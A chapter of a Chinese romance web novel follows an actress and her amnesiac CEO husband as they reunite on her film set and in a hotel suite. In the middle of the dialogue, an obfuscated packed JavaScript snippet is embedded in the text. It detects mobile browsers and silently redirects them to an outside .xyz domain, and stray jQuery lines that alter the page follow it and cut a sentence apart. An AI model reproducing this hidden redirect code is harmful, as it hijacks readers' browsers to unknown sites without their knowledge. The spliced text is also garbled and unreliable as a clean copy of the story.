周齐他们离开后,沈栖汀进来查看傅沉洲的情况。
她温言细语地交代当晚的检查项目,语气专业得像是最称职的护士长。
就在她转身要离开时,傅沉洲突然抓住了她的胳膊。
“先别走。”他直视她的眼睛,说出连日来最坦诚的话。
“他们都说我之前很在意你,我想我们之前应该是相爱的,但是我忘记了。”
他深吸一口气,几乎是恳求地说:“你能不能等等我,等我想起来,先不要放弃我——”
沈栖汀凝视他良久,眼中泛起水光,最终轻轻点头:“好。”
她其实没有要放弃傅沉洲,没有要离开这个爱她如命的男人。
她只是,不太能接受这个男人在自己面前询问他是不是喜欢江晚柔这个事情。
她吃醋,她不高兴。
但是她知道,这不是他的错,不是他的本意。
她不知道如何让男人想起来,所以她只能先暂时晾着他,等到她找到江晚柔的猫腻。
她也相信,傅沉洲不会那么轻易的就被控制住的。
他一定会清醒过来,这个时间,应该也不会太久。
——
《妖怪客栈》还没拍摄完毕,因为这段时间住院耽误了不少进度。
所以出院后,沈栖汀直接回到剧组拍戏,留傅沉洲独自回到他们的别墅。
明明记忆中他从来都是一个人独居,但真正身处这栋没有沈栖汀的房子时,傅沉洲才感受到一种令人窒息的空旷。
这座他“记忆中”一直独居的房子,处处留着另一个人的生活痕迹——卫生间里的女士护肤品,衣帽间中挂着的明显不属于他的衣裙,书房桌面上并排放置的两个咖啡杯……
主卧卧室里明显的双人居住痕迹、客厅散落的剧本、玻璃花房里的懒人沙发……
每个房间都留有她的痕迹,每个角落都提醒着他忘记的回忆。
最令他困惑的是,每晚入睡时,他总会下意识地翻身,手臂自然地伸向另一侧,仿佛那里本该有一个人。
当摸到空荡冰凉的床单时,他会莫名惊醒,心中涌起难以名状的失落。
他试图用工作填满时间,但坐在自己的办公室里,傅沉洲看着随处可见的靠枕和毯子沉默了。
他的目光不自觉的看向沙发的方向,总觉得那里应该有一个人做着自己的事情陪着他办公。
这种生活工作处处被一个人渗透的感觉,太令他陌生了。
抬手叫来Alla,傅沉洲本来想开口让她把办公室里扰人心神的东西都收起来。
但最终,他只是让Alla给他倒一杯咖啡。
两周后,傅沉洲的身体基本康复,也彻底无法忍受这种令人窒息的缺失感。
“闻助理,帮我安排明天去剧组的行程,要最早的。”傅沉洲在又一个无眠的清晨打电话给闻助理,语气不容置疑。
电话那头沉默片刻:“傅总,您今天的日程已经排满,包括两个重要会议和……”
“推迟或取消。”傅沉洲打断他,“立刻安排。”
他必须去见沈栖汀,立刻,马上。
有些真相,或许只有在她身边才能找到。
而有些感觉,或许只有面对她时才能确认。
第二天,傅沉洲站在影视基地的入口处,看着古装装扮的群众演员来来往往,一时不知该往何处去。
“傅总!”一个声音从身后传来。傅沉洲转身,看到沈栖汀的助理骆桐正小跑过来,脸上带着惊讶:“您怎么来了?”
接到闻助理的电话后,骆桐连正在拍戏的沈栖汀都来不及通知,只能先来接这位大老板。
堂堂傅氏总裁要是被拍到出现在这个处处狗仔的影视城里,可足够营销号一个月的KPI了。
“她在拍戏?”傅沉洲问,目光不自觉地投向远处的拍摄区域。
骆桐点头:“今天是一场重头戏,从早上六点就开始准备了。要不您先去保姆车上等等?这场戏估计还要拍一两个小时。”
傅沉洲摇头:“我想先去看看她。”
老板的话无法拒绝,骆桐没办法,只能带着大老板从剧组演员通道带他进去。
拍摄现场被工作人员层层围住,傅沉洲站在隐蔽的通道内,目光穿过人群,轻易找到了沈栖汀。
她穿着一身繁琐的大妖衣裙,长发如瀑,妆容摄人心魄,正睥睨的坐在高座上看着台阶下痛哭流涕跪求她庇护的小妖。
傅沉洲的心脏莫名一紧。
那不是他熟悉的沈栖汀,而是妖怪世界中妖力通天的上古大妖,她的高贵仿佛透过空气传递给了他,让他的心脏为之颤动,目光难以移开。
“卡!”导演喊道,“很好!这条过了!”
沈栖汀轻轻放下手里的道具,站起身时,不经意间转头,与傅沉洲的目光撞个正着。
一瞬间的惊讶过后,她的表情恢复平静,微微点头示意,然后随着庄乐凌走向休息室。
傅沉洲站在原地,心中莫名失落。
他原以为……原以为她会表现出更多惊喜,或者至少是欢迎。
而不是那样平静的、近乎礼貌的回应。
“傅总?”骆桐小声提醒:“要去栖栖姐的休息室吗?”
傅沉洲沉吟片刻,摇头:“出去吧。”
休息室内,沈栖汀问庄乐凌:“他什么时候到的?”
“总裁到剧组门口了闻助理才告诉我们的,好像是总裁特意交代不要提前告诉您。”
沈栖汀想,还好这男人没有大咧咧的走进来找她,不然下一秒她就要上百八十个热搜。
虽然说了要顺其自然,但是现在傅沉洲出了失忆这档子事,实在不是公开的好时候。
剧组人多眼杂,刚才她都不敢多看这男人一眼,害怕引人注意。
“带他去酒店吧,问问导演今天的进度能不能快一点,早一点下班。”
半个月没见,不知道他的身体恢复的怎么样了。
下午四点,沈栖汀暂时下班,回到酒店。
屋里的傅沉洲听着门口解锁的声音,莫名的有一点难以言喻的紧张。
这时,一个念头突然闯入他的脑海:
无论记忆如何被篡改,他的心似乎始终比他的记忆更早认得它真正的主人。
“你怎么来了?”进了门,沈栖汀上下打量了一下他的身体,问道。
“我……。”
沉默在空气中蔓延,傅沉洲站在酒店套房的客厅内,突然感到一丝无措。
商场上叱咤风云的傅总,此刻却不知该如何与自己的“妻子”交流。
“身体恢复得怎么样?”最终还是沈栖汀打破沉默,看着他骨裂的手臂上固定的支具。
“好了。”傅沉洲回答,然后补充道,“就是睡不好。”
沈栖汀的眼神微微闪动,但很快恢复平静:“脑部淤血是有可能影响休息,医生开的安神药还有吗?”
“有,但不想吃。”傅沉洲高大的身体走近几步:“我睡不着,是因为别墅里太安静了。”
这句话说出口,他自己都愣了一下。
这不像他会说的话,太过直白,几乎算是一种示弱。
沈栖汀显然也感到意外,她凝视他片刻,轻轻叹了口气:“你本来不就更喜欢安静吗?”
这男人以前废话一句都懒得多说,脸色冷酷的能当空调用。
在他身边能理解多少他的意思都全要靠猜。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258945|173264||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“是吗?”傅沉洲皱眉,“但我总觉得房子里应该有点声音,比如……”他顿了顿,不确定该怎么说。
“比如我捣乱的声音?”沈栖汀微微挑眉,眼中终于有了一丝愉悦的灵动。
傅沉洲的嘴角不自觉上扬:“可能是。”
随后,他又问道:“你的伤好了吗?你额头的伤口,还有你……小腿上的淤青?”
沈栖汀车祸时额头被破碎的玻璃划破了,这是傅沉洲亲眼看到的。
至于小腿的淤青,是闻助理跟他汇报的。
沈栖汀看着他紧张的眼睛,轻声回答:“我没事,都好了。”
车祸时,傅沉洲为了护着她,把撞击都留给了驾驶室,所以她并没有受到太大的撞击,只是轻伤。
气氛稍稍缓和,沈栖汀坐到沙发上,问他:“闻助理没有跟你一起来吗?”
“他替我接待客户去了。”傅沉洲看着她:“今晚有空出去共进晚餐吗?”
沈栖汀摇头:“晚上还有一场夜戏,拍到很晚,中间没有太久的休息时间。”
傅沉洲难掩失望:“那我……”
“你想起来了吗?”沈栖汀的声音打断了他的话。
客厅内陷入了沉默,傅沉洲闷闷的回答道:“……没有”
没有就没有吧,沈栖汀也不觉得失望。
如果真是非科学因素引起的记忆混乱,在没有解决源头之前,他应该很难想起来之前的记忆了。
这件事情谁都急不来。
站起身,沈栖汀打算让庄乐凌送今天的晚餐进来,跟傅沉洲一起吃个晚饭。
出去吃没时间,在酒店里简单吃个饭还是绰绰有余。
但是傅沉洲会错了她的意图,见她站起身,他如同惊弓之鸟一般猛的拉住她的手腕:“别走。”
这个动作让两个人都愣住了。
看着他的手,沈栖汀解释道:“我去叫餐,我们一起吃个晚饭。”
傅沉洲:“……”
知道她不是因为他没有想起来而失望,要离开这里,傅沉洲放下了紧绷的心神。
但是握着她的手腕,感觉到她脉搏的跳动,他忽然间不舍得放开。
就在傅沉洲想说些什么时,他的电话在这时响了起来。
是等了半个月都没有等到傅沉洲去找她甚至联系她的江晚柔。
看着手机通话页面上的‘江晚柔’三个字,沈栖汀试图甩开他握着自己的手,等他接电话。
然而傅沉洲丝毫不松开手掌,皱着眉头把电话挂了,甚至很疑惑自己的手机里为什么会有她的联系方式。
“为什么不接?”沈栖汀轻声问,“你不是觉得自己喜欢她吗?”
傅沉洲皱眉:“我是这么认为过,但是……”
他斟酌着用词:“我能感觉到,你对我来说不一样,我的脑部检查没有异常,我不确定我的记忆哪里出了问题,但我的直觉告诉我,江晚柔不对劲!”
沈栖瑜注视着他,眼中情绪复杂:“所以你来找我,是为了寻找答案?”
“部分是的。”傅沉洲诚实回答,“但主要是因为……我想见你。”
这句话脱口而出,连他自己都感到惊讶。
仿佛某种深埋于失忆表层下的真实感受,不由自主地浮现出来。
沈栖汀似乎也被这句话触动,她垂下眼帘,轻轻的笑了一下:“我去叫餐,今天我夜戏可能要拍到很晚,这里有你上次来带的衣服,你累了就早点休息,不必等我了。”
听着沈栖汀没有赶他走的意图,甚至默认他在这里留宿,傅沉洲终于缓和了紧张的心绪。
“我在这里等你。”傅沉洲坚持,“多晚都等。”
沈栖汀抬头看他,最终轻轻点头:“随你。”